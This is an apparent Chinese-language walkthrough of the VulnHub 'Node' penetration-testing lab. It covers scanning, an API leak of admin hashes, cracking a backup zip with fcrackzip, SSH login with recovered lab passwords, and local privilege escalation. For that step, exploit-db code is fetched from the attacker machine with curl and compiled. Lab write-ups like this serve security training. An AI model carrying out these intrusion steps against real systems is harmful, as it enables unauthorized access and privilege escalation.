kali渗透综合靶机(四)--node1靶机
一、靶机下载下载链接:https://download.vulnhub.com/node/Node.ova二、node1靶机搭建将下载好的靶机环境,用VMware导入即可使用,文件->打开导入到合适位置即可,默认是C盘,成功导入虚拟机之后,打开即可三、攻击过程1、主机发现nmap扫描:nmap -sn 192.168.27.0/24二、端口扫描方法一:masscan...
一、靶机下载
下载链接:https://download.vulnhub.com/node/Node.ova
二、node1靶机搭建
将下载好的靶机环境,用VMware导入即可使用,文件->打开
导入到合适位置即可,默认是C盘,成功导入虚拟机之后,打开即可
三、攻击过程
kali IP:192.168.27.128
靶机:192.168.27.131
1、主机发现
nmap扫描:nmap -sn 192.168.27.0/24
二、端口扫描
方法一:masscan 192.168.27.131 -p 0-65535 --rate=10000
方法二:nmap -sS 192.168.27.131
三、端口服务识别
nmap -sV -T4 -O 192.168.27.131 -p 22,3000
四、漏洞发现
1、访问目标网站
扫描目录,什么也没有发现
node.js简介
对node.js稍有了解的都知道 3000是node.js的默认端口
简单的说 Node.js 就是运行在服务端的 JavaScript。
Node.js 是一个基于Chrome JavaScript 运行时建立的一个平台。
Node.js是一个事件驱动I/O服务端JavaScript环境,基于Google的V8引擎,V8引擎执行Javascript的速度非常快,性能非常好。
2、打开控制带看一下,发现这个网站的 js 文件命名有点意思
于是逐一审计 发现了一些可疑路劲
3、尝试访问http://192.168.138.137:3000/api/users/latest后得到以下信息
只是看到最后的 latest有点意思,不如把它去掉,去掉lastest再次访问 发现得到了一个管理员用户
破解密码:https://www.cmd5.com/
4、登录管理员账户 myP14ceAdm1nAcc0uNT\manchester
5、 登录后发现 可以下载网站备份,下载备份文件,打开发现是base64编码
6、尝试以base64解码后发现是zip文件,解压压缩包,提示需要密码
解释:
base64 -d, --decode 解码数据
file命令用于辨识文件类型。
7、使用kali自带的工具进行破解 fcrackzip
fcrackzip -v -b -u -c a -p magicaaaa myplace
通过字典猜解出密码为magicword
fcrackzip用法:
fcrackzip 所用到的参数介绍如下:
-b 表示暴力破解
-c 表示暴力破解中使用的字符(A表示A-Z, a表示a-z, 1=0-9 , !=特殊字符)
-l 表示长度
-U表示用zip去尝试
fcrackzip -v -b -u -c a -p magicaaaa myplace (-v 更多信息-b 指定模式为暴破,-ca指定密码类型为英文小写字母,-u这个参数非常重要不然不显示破解出来的密码,-l 5-6可以指定长度)
8、这就是解压到的目录可以进去翻一翻。想一想,这个备份文件如果存在远程登陆的用户和密码的话就可以利用ssh这个打开的端口进行远程登录,这样不就拿到权限了吗。于是我们耐心翻阅这个备份文件,看看能不能找到。
9.尝试ssh登录,登陆成功 mark:5AYRft73VtFpc84k
查看信息
10、在kali机里,使用自带的exp 尝试提权,搜索是否有Ubuntu 16.04漏洞利用
searchsploit Ubuntu 16.04
这时,我们需要查看一下连接的ssh账号,是否能够使用 gcc命令,若是不行,那么我们就需要在本地编译一下 .c 文件,将生成好的文件再上传到靶机上
ssh连接的账号里运行gcc:
可以看到是有gcc环境的,那么就可以直接上传 .c 文件
注意:GCC原本作为GNU操作系统的官方编译器,现已被大多数类Unix操作系统(如Linux、BSD、Mac OS X等)采纳为标准的编译器,GCC同样适用于微软的Windows。
本机的命令框将 .c 文件上传到web目录下,方便ssh账号请求下载
cp /usr/share/exploitdb/exploits/linux_x86-64/local/40871.c /var/www/html //复制.c文件到web目录下
service apache2 start //打开apache服务
靶机去下载40871.c文件
curl -o /tmp/40871.c 192.168.146.131/40871.c //请求下载exp
cd /tmp
gcc 40871.c -o test //编译exp
可以看到运行失败,若是运行成功,那么会在当前目录下生成test文件,直接运行 ./test 则直接变成root账户
若这个exp提权失败,可以尝试searchsploit 里面的其他 exp
注意:
命令:curl
在Linux中curl是一个利用URL规则在命令行下工作的文件传输工具,可以说是一款很强大的http命令行工具。它支持文件的上传和下载,是综合传输工具,但按传统,习惯称url为下载工具。
常见参数:
-A/--user-agent <string> 设置用户代理发送给服务器
-b/--cookie <name=string/file> cookie字符串或文件读取位置
-c/--cookie-jar <file> 操作结束后把cookie写入到这个文件中
-C/--continue-at <offset> 断点续转
-D/--dump-header <file> 把header信息写入到该文件中
-e/--referer 来源网址
-f/--fail 连接失败时不显示http错误
-o/--output 把输出写到该文件中
-O/--remote-name 把输出写到该文件中,保留远程文件的文件名
-r/--range <range> 检索来自HTTP/1.1或FTP服务器字节范围
-s/--silent 静音模式。不输出任何东西
-T/--upload-file <file> 上传文件
-u/--user <user[:password]> 设置服务器的用户和密码
-w/--write-out [format] 什么输出完成后
-x/--proxy <host[:port]> 在给定的端口上使用HTTP代理
-#/--progress-bar 进度条显示当前的传送状态
gcc –c test.c,表示只编译test.c文件,成功时输出目标文件test.o
gcc –c test.c –o test.o ,与上一条命令完全相同
gcc –o test test.o,将test.o连接成可执行的二进制文件test
gcc –o test test.c,将test.c编译并连接成可执行的二进制文件test
gcc test.c –o test,与上一条命令相同
gcc –c test1.c,只编译test1.c,成功时输出目标文件test1.o
gcc –c test2.c,只编译test2.c,成功时输出目标文件test2.o
gcc –o test test1.o test2.o,将test1.o和test2.o连接为可执行的二进制文件test
gcc –c test test1.c test2.c,将test1.o和test2.o编译并连接为可执行的二进制文件test
11、换一个EXP利用
将exp复制到www目录下:cp /usr/share/exploitdb/exploits/linux/local/44298.c /var/www/html
靶机去下载这个exp
编译脚本,执行脚本,获得管理员权限
总结
1.信息收集
2.dirb目录扫描
3.页面源码敏感信息泄露
4.fcrackzip破解zip文件
5.利用系统漏洞提权
更多推荐










所有评论(0)